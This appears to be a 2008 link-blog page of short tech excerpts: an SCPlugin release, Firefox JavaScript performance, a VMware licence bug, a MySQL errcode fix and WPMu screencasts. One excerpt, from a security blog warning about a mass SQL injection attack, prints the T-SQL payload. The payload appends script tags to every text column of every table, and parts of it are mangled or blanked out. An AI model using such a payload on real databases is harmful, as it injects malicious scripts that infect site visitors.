Release 0.7.2 of SCPlugin (for svn 1.4.x or 1.5.x)

2008/07/05 – Announcing Release 0.7.2 of SCPlugin!

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I’ve just put up the final release of 0.7.2, in the usual place. This release makes major improvements in user name / password handling, appearance, and personalization, and now supports your choice of Subversion 1.4.6 or 1.5.0. I encourage all users to upgrade. See the announcement for full details.

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Firefox to get faster JavaScript

Firefox to get massive JavaScript performance boostJavaScript SpiderMonkey improvements

Mozilla is leveraging an impressive new optimization technique to bring a big performance boost to the Firefox JavaScript engine. The code was merged today (but is not yet ready to be enabled by default in the nightly builds) and is planned for inclusion in Firefox 3.1, the next incremental update of the open-source web browser.   


TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Here’s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:

DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select, from sysobjects a, syscolumns b where and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update [‘+@T+’] set [‘+@C +’]=[‘+@C+’]+””></title><script src=” w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=” “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource – Blog – New SQL Injection Attack Infecting Machines

Whoop! VMWare licensing bug!

This is pretty serious…SymptomsA virtual machine fails to power on, fails to leave suspend mode, or fails to migrate with VMotion and the following message is displayed in the vmware.log file for the virtual machine:This product has expired. Be sure that your host machine’s date and time are set correctly. There is a more recent version available at the VMware web site:————–Module License Power on failed.Currently running virtual machines will continue to run but will not be able to perform migration with VMotion, suspend or power on virtual machines. Resolution An issue with ESX/ESXi 3.5 Update 2 causes the product license to expire on August 12, 2008. VMware engineering has isolated the root cause of this issue and will reissue the various upgrade media including the ESX 3.5 Update 2 ISO, ESXi 3.5 Update 2 ISO, ESX 3.5 Update 2 upgrade tar and zip files by noon, PST on August 13.These will be available from the page:  Until then, VMware advises against upgrading to ESX/ESXi 3.5 Update 2. The Update patch bundles will be released separately later in the week.This KB article will be updated as soon as more information is available, check back frequently for updates and additions.  All your VM’s belong to us – Matthew Marlowe’s Blog

Racker Hacker » MySQL: Errcode: 24 when using LOCK TABLES

Racker Hacker » MySQL: Errcode: 24 when using LOCK TABLES

There’s two ways to fix the problem. First, if you find that you only hit the limit during mysqldumps and never during normal database operation, just add --single-transaction to your mysqldump command line options. This will cause mysql to keep only one table open at a time.

However, if this happens while backups aren’t running, you may want to increase the open_files_limit in your MySQL configuration file. By default, the variable is set to 1,024 open files.

For further reading:
5.2.3. System Variables
7.13. mysqldump – A Database Backup Program

UMW Blogs support videos for WPMu 2.6

Jim Groom

Jim Groom, who administers the UMW group of WordPressMU blogs has placed a whole slew of videos online, which help users with WPMU, as well as migrate from WPMU-1.3.3 to WPMU-2.6.

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The inimitable Andy Rush (a.k.a. EduRush) and I have been working diligently to create a whole slew of screencasts documenting the new interface for WPMu 2.6. We’ve finished a whole bunch of them over the last week or so and published them on the now official UMW Blogs Screencasts site, so below is a list of the screencasts we have created. All of the screencasts are Creative Commons and while they’re currently published as SWF files, we will be uploading them all to Blip shortly. Keep in mind that these screencasts are specific to the UMW Blogs installation, but they still may prove useful for anyone who wants to point people to a quick overview of the administrative backend, the changes between versions WPMu 1.3.3 and 2.6, and a very tab-specific discussion of the how to manage a WordPress blog.